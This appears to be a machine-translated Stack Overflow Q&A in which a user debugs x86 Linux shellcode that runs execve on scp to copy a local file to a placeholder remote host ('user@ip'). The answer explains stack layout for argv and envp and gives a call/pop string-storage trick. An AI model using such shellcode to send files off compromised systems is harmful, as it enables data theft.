0

を実行するシェルコードを書きたいですsys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)

これは完全なコマンドです:
scp -i /tmp/file -P 8989 /path/file user@ip:/home/user

問題は、多くの登録が必要なことです (scp の後に 6 つのトークンがあります)。

cdq

push edx
push user@ip:/home/user
mov edi,esp

push edx
push /path/file
mov esi,esp

push edx
push 8989
mov ecx,esp

push edx
push -P
mov eax,esp

push edx
push /tmp/file
???

push edx
push -i
???

push edx
push /usr/bin/scp
mov ebx,esp

私はこのようにレジスタをプッシュしようとしました:

cdq

push edx
push user@ip:/home/user
mov edi,esp

push edx
push /path/file
mov esi,esp

push edx
push 8989
mov ecx,esp

push edx
push -P
mov eax,esp

push edx
push edi
push esi
push ecx
push eax
mov ecx,esp

push edx
push /tmp/file
mov edi,esp

push edx
push -i
mov esi,esp

push edx
push /usr/bin/scp
mov ebx,esp

push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp

int 0x80

しかし、gdb と libemu を使用すると、ガベージ バイトしか生成されないことがわかりました。
この問題を解決する方法についてのヒントはありますか?

4

1 に答える 1

0

プッシュ/パス/ファイル

この指示は何をすべきですか?

文字列のアドレスをプッシュしますか?

文字列自体をスタックに書き込みますか?

私はこのようにレジスタをプッシュしようとしました:

あなたがしなければならないことは次のとおりです。

  • 値 0 (32 ビット) をプッシュします。
  • 使用されるすべての環境文字列へのプッシュ ポインター (それぞれ 32 ビット)
  • ESP レジスタを EDX にコピー (mov edx,esp)
  • 値 0 とすべてのコマンド ライン引数 (argv[0] である実行可能ファイル名を含む) へのポインターをプッシュします。最後の引数を最初にプッシュする
  • ESP を ECX にコピー
  • 実行ファイル名へのポインタをEBXに書き込む
  • EAXに0x0Bを書き込む
  • 「int 0x80」を実行

(Linuxを使用していると仮定)

- - 編集 - -

すべてをレジスターに保管しないでください。

プログラム コードに固定文字列を格納します。

  call xx
xx:
  pop edx
  lea ecx,[edx+p1-xx]
  push ecx  # ecx is now a pointer to "/some/file"
  lea ecx,[edx+p2-xx]
  push ecx  # ecx is now a pointer to "/other/file"
  ...
  int 0x80
p1:
  db "/some/file",0
p2:
  db "/other/file",0
于 2014-05-12T19:29:30.547 に答える